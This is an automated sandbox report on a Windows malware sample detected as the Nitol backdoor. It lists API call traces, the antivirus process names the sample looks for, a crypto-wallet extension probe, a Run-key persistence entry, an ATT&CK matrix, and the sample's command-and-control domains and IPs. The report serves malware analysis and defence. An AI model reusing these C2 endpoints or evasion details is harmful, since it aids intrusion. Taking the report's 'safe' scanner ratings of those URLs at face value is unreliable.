Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	7_2_6C89594A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	7_2_6C89FA33
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	7_2_6C89E436
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_6C89E510
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	7_2_6C88B122
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	7_2_6C89F2B0

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Code function: 0_2_004D658D GetSystemTimeAsFileTime,

0_2_004D658D

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

6_2_034204C4

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_0343E6E1 _free,GetTimeZoneInformation,_free,

6_2_0343E6E1

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_033F8216 GetVersionExW,LoadLibraryW,GetProcAddress,FreeLibrary,wsprintfW,

6_2_033F8216

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: vhCQTUg.exe	Binary or memory string: acs.exe
Source: vhCQTUg.exe	Binary or memory string: kxetray.exe
Source: vhCQTUg.exe	Binary or memory string: vsserv.exe
Source: vhCQTUg.exe	Binary or memory string: avcenter.exe
Source: vhCQTUg.exe	Binary or memory string: cfp.exe
Source: vhCQTUg.exe, vhCQTUg.exe, 00000006.00000002.4034117410.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034621580.0000000010064000.00000002.00001000.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034195166.00000000033ED000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: KSafeTray.exe
Source: vhCQTUg.exe	Binary or memory string: avp.exe
Source: 8CoDx513sS.exe, vhCQTUg.exe	Binary or memory string: 360tray.exe
Source: vhCQTUg.exe	Binary or memory string: rtvscan.exe
Source: vhCQTUg.exe	Binary or memory string: TMBMSRV.exe
Source: vhCQTUg.exe	Binary or memory string: ashDisp.exe
Source: vhCQTUg.exe	Binary or memory string: avgwdsvc.exe
Source: vhCQTUg.exe	Binary or memory string: AYAgent.aye
Source: vhCQTUg.exe	Binary or memory string: RavMonD.exe
Source: vhCQTUg.exe	Binary or memory string: QUHLPSVC.EXE
Source: vhCQTUg.exe	Binary or memory string: Mcshield.exe
Source: vhCQTUg.exe	Binary or memory string: K7TSecurity.exe

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Nitol

Source: Yara match	File source: 6.2.vhCQTUg.exe.32eec24.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.vhCQTUg.exe.33edc24.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.vhCQTUg.exe.32eec24.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.vhCQTUg.exe.33edc24.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4034117410.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4034621580.0000000010064000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4034195166.00000000033ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vhCQTUg.exe PID: 6884, type: MEMORYSTR

Tries to access browser extension known for cryptocurrency wallets

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nkbihfbeogaeaoehlefnkodbefgpgknn\

Jump to behavior

Remote Access Functionality

Yara detected Nitol

Source: Yara match	File source: 6.2.vhCQTUg.exe.32eec24.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.vhCQTUg.exe.33edc24.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.vhCQTUg.exe.32eec24.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.vhCQTUg.exe.33edc24.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4034117410.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4034621580.0000000010064000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4034195166.00000000033ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vhCQTUg.exe PID: 6884, type: MEMORYSTR

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Code function: 0_2_0049D88B htons,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,

0_2_0049D88B

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	12 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 Create Account	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Service Execution	1 Registry Run Keys / Startup Folder	13 Process Injection	1 DLL Side-Loading	NTDS	226 System Information Discovery	Distributed Component Object Model	1 Credential API Hooking	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	2 Masquerading	LSA Secrets	571 Security Software Discovery	SSH	11 Input Capture	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	23 Virtualization/Sandbox Evasion	Cached Domain Credentials	23 Virtualization/Sandbox Evasion	VNC	3 Clipboard Data	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	13 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8CoDx513sS.exe	16%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\cSNNeBKH\t4d.tmp	100%	Avira	DR/FakePic.Gen
C:\Program Files (x86)\cSNNeBKH\t5d.tmp	100%	Avira	DR/FakePic.Gen
C:\Program Files (x86)\cSNNeBKH\MSVCP140.dll	0%	ReversingLabs
C:\Program Files (x86)\cSNNeBKH\VCRUNTIME140.dll	0%	ReversingLabs
C:\Program Files (x86)\cSNNeBKH\libcef.dll	5%	ReversingLabs
C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://tbsweb.browser.taobao.com/getSoftwareList.do?pid=	0%	Avira URL Cloud	safe
http://www.uc.cn/pc/agreement.htmlhttp://www.uc.cn/pc/index.htmlS	0%	Avira URL Cloud	safe
https://data.iana.org/time-zones/tz-link.htmlPostScript	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettask	0%	Avira URL Cloud	safe
https:///api.php/common/gettask/api.php/common/getdomain.200idleActivityTimePlugingsleep	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/laos.bmp	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/laos.bmp~	0%	Avira URL Cloud	safe
http://wpa.qq.com/msgrd?v=3&uin=1729568005&site=qq&menu=yesluxury_installer	0%	Avira URL Cloud	safe
http://tbsweb.browser.taobao.com/getSoftwareList.do?pid=typewow-config-updater	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/gettask	0%	Avira URL Cloud	safe
http://www.uc.cn/pc/index.html	0%	Avira URL Cloud	safe
http://ucip.uc.cn/get_ip_attr?type=1&format=0&caller=gj_pcbrowser&key=097a6150b0c772f7952807c0cb48fb	0%	Avira URL Cloud	safe
http://tbsweb.browser.taobao.com/addCount.do?type=check&idList=	0%	Avira URL Cloud	safe
http://curl.haxx.se/rfc/cookie_spec.html	0%	Avira URL Cloud	safe
http://www.uc.cn/pc/agreement.html	0%	Avira URL Cloud	safe
https://caces.goldenh0ur.com/api.php/common/getdomain	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/text.bmpC:	0%	Avira URL Cloud	safe
https://caces.goldenh0ur.com:443/api.php/common/getdomain	0%	Avira URL Cloud	safe
https://mmstat.ucweb.com/bluesky.	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/gettaskson	0%	Avira URL Cloud	safe
https://www.geonames.org/	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/~8	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/laos.bmpwininetmsvcrt	0%	Avira URL Cloud	safe
https://data.iana.org/time-zones/tz-link.html	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/t.bmpmp	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/laos.bmpD	0%	Avira URL Cloud	safe
https://www.geonames.org/Timezone	0%	Avira URL Cloud	safe
http://www.astro.com/swisseph.	0%	Avira URL Cloud	safe
https://support.ubi.com/?GenomeId=954e66a0-be1b-4aa0-9690-fb75201e4e9epidRequired	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com:443/api.php/common/gettaskre	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/L8	0%	Avira URL Cloud	safe
http://www.symauth.com/cps0(	0%	Avira URL Cloud	safe
http://uploadreport.browser.taobao.com/up_pass/browserupload.phpupfileactionAuthorizationBasic	0%	Avira URL Cloud	safe
http://www.uc.cn/pc/agreement.htmlhttp://www.uc.cn/pc/index.html	0%	Avira URL Cloud	safe
http://wpa.qq.com/msgrd?v=3&uin=1729568005&site=qq&menu=yes	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/u8	0%	Avira URL Cloud	safe
https://support.ubi.com/	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/gettaskk	0%	Avira URL Cloud	safe
http://www.astrolog.org/astrolog.htm	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/api.php/common/receivejson	0%	Avira URL Cloud	safe
http://www.gnu.org	0%	Avira URL Cloud	safe
http://www.symauth.com/rpa00	0%	Avira URL Cloud	safe
https://mmstat.ucweb.com/bluesky.verThe	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/d.bmpWhttp://web.ad87h92j.com/4/t.bmp	0%	Avira URL Cloud	safe
http://tbsweb.browser.taobao.com/addCount.do?type=show&idList=http://tbsweb.browser.taobao.com/addCo	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/laos.bmpP	0%	Avira URL Cloud	safe
http://tbsweb.browser.taobao.com/addCount.do?type=show&idList=	0%	Avira URL Cloud	safe
http://web.ad87h92j.com/4/text.bmp	0%	Avira URL Cloud	safe
https://mvc.withoutyou5.com/r3	0%	Avira URL Cloud	safe
http://www.astrolog.org/astrolog.htmMain	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
caces.goldenh0ur.com	104.21.17.45	true	false	unknown
mvc.withoutyou5.com	172.67.72.137	true	false	unknown
web.ad87h92j.com	188.114.97.3	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://web.ad87h92j.com/4/laos.bmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/gettask	false	Avira URL Cloud: safe	unknown
https://caces.goldenh0ur.com/api.php/common/getdomain	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/receivejson	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://mvc.withoutyou5.com/	vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/	8CoDx513sS.exe, 00000000.00000002.3413379040.0000000000940000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wpa.qq.com/msgrd?v=3&uin=1729568005&site=qq&menu=yesluxury_installer	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
https:///api.php/common/gettask/api.php/common/getdomain.200idleActivityTimePlugingsleep	vhCQTUg.exe, 00000006.00000002.4034117410.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034621580.0000000010064000.00000002.00001000.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034195166.00000000033ED000.00000040.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.uc.cn/pc/agreement.htmlhttp://www.uc.cn/pc/index.htmlS	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
https://data.iana.org/time-zones/tz-link.htmlPostScript	8CoDx513sS.exe, 00000000.00000003.3381979003.000000000396C000.00000004.00000020.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000003.3270318694.000000001003F000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/laos.bmp~	8CoDx513sS.exe, 00000000.00000002.3413379040.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tbsweb.browser.taobao.com/getSoftwareList.do?pid=	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://tbsweb.browser.taobao.com/getSoftwareList.do?pid=typewow-config-updater	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://ucip.uc.cn/get_ip_attr?type=1&format=0&caller=gj_pcbrowser&key=097a6150b0c772f7952807c0cb48fb	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/gettask	vhCQTUg.exe, 00000006.00000002.4033734662.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.uc.cn/pc/index.html	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://tbsweb.browser.taobao.com/addCount.do?type=check&idList=	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://www.uc.cn/pc/agreement.html	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/text.bmpC:	8CoDx513sS.exe, 00000000.00000002.3415882106.00000000035D9000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://curl.haxx.se/rfc/cookie_spec.html	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
https://caces.goldenh0ur.com:443/api.php/common/getdomain	vhCQTUg.exe, 00000006.00000002.4033734662.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mmstat.ucweb.com/bluesky.	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/gettaskson	vhCQTUg.exe, 00000006.00000002.4033734662.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.geonames.org/	vhCQTUg.exe, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://data.iana.org/time-zones/tz-link.html	vhCQTUg.exe, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/laos.bmpwininetmsvcrt	8CoDx513sS.exe, 00000000.00000002.3412659927.000000000019C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/~8	vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.geonames.org/Timezone	8CoDx513sS.exe, 00000000.00000003.3381979003.000000000396C000.00000004.00000020.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000003.3270318694.000000001003F000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/laos.bmpD	8CoDx513sS.exe, 00000000.00000002.3413379040.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/t.bmpmp	8CoDx513sS.exe, 00000000.00000002.3415882106.00000000035D9000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.astro.com/swisseph.	libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://support.ubi.com/?GenomeId=954e66a0-be1b-4aa0-9690-fb75201e4e9epidRequired	vhCQTUg.exe, 00000006.00000002.4033130426.00000000007F3000.00000002.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000007.00000002.3520494784.00000000007F3000.00000002.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000008.00000002.3593691505.00000000007F3000.00000002.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com:443/api.php/common/gettaskre	vhCQTUg.exe, 00000006.00000002.4033734662.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/L8	vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://uploadreport.browser.taobao.com/up_pass/browserupload.phpupfileactionAuthorizationBasic	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/u8	vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wpa.qq.com/msgrd?v=3&uin=1729568005&site=qq&menu=yes	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
https://support.ubi.com/	vhCQTUg.exe, 00000006.00000002.4033130426.00000000007F3000.00000002.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000007.00000002.3520494784.00000000007F3000.00000002.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000008.00000002.3593691505.00000000007F3000.00000002.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/api.php/common/gettaskk	vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.uc.cn/pc/agreement.htmlhttp://www.uc.cn/pc/index.html	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://www.astrolog.org/astrolog.htm	vhCQTUg.exe, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/d.bmpWhttp://web.ad87h92j.com/4/t.bmp	8CoDx513sS.exe, 00000000.00000002.3415882106.00000000035D9000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.gnu.org	libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mmstat.ucweb.com/bluesky.verThe	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/laos.bmpP	8CoDx513sS.exe, 00000000.00000002.3413379040.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tbsweb.browser.taobao.com/addCount.do?type=show&idList=http://tbsweb.browser.taobao.com/addCo	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://tbsweb.browser.taobao.com/addCount.do?type=show&idList=	8CoDx513sS.exe	false	Avira URL Cloud: safe	unknown
http://web.ad87h92j.com/4/text.bmp	8CoDx513sS.exe, 00000000.00000003.3198816068.000000000095C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mvc.withoutyou5.com/r3	vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.astrolog.org/astrolog.htmMain	8CoDx513sS.exe, 00000000.00000003.3381979003.000000000396C000.00000004.00000020.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000003.3270318694.000000001003F000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.17.45	caces.goldenh0ur.com	United States	13335	CLOUDFLARENETUS	false
188.114.97.3	web.ad87h92j.com	European Union	13335	CLOUDFLARENETUS	false
172.67.72.137	mvc.withoutyou5.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1511254
Start date and time:	2024-09-14 18:41:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8CoDx513sS.exe renamed because original name is a hash value
Original Sample Name:	0c240bbd2732102296862088a459c4854bea6e8bdfac19a4a9da47b0d6f25900.exe
Detection:	MAL
Classification:	mal100.rans.bank.troj.spyw.evad.winEXE@5/8@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 88% Number of executed functions: 61 Number of non-executed functions: 232
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 8CoDx513sS.exe

Simulations

Behavior and APIs

Time	Type	Description
18:44:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WINDOWS C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe
18:44:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WINDOWS C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.17.45	pXm5oVO3Go.exe	Get hash	malicious	Nitol	Browse
104.21.17.45	Rudvfa0Z17.exe	Get hash	malicious	Nitol	Browse
188.114.97.3	http://infofunctionboard.autos/	Get hash	malicious	Unknown	Browse	infofunctionboard.autos/check-online
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/link.sbstck.com/redirect/9f1a559b-1924-42a1-ac63-d801d0b621e3?j=eyJ1IjoiNGQydGxqIn0.nUqvCKS4pzEN7oIgjX67rfaG_zpqbsbEevJ7SYpXFUg	Get hash	malicious	HTMLPhisher	Browse	link.sbstck.com/redirect/9f1a559b-1924-42a1-ac63-d801d0b621e3
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/lPrdr8CZ/download
	Purchase order.exe	Get hash	malicious	FormBook	Browse	www.x0x9x8x8x7x6.shop/assb/
	http://aivx.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	aivx.pages.dev/favicon.ico
	Comprobante.PDF867564575869708776565434576897.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sweetwhore/five/fre.php
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/altr/
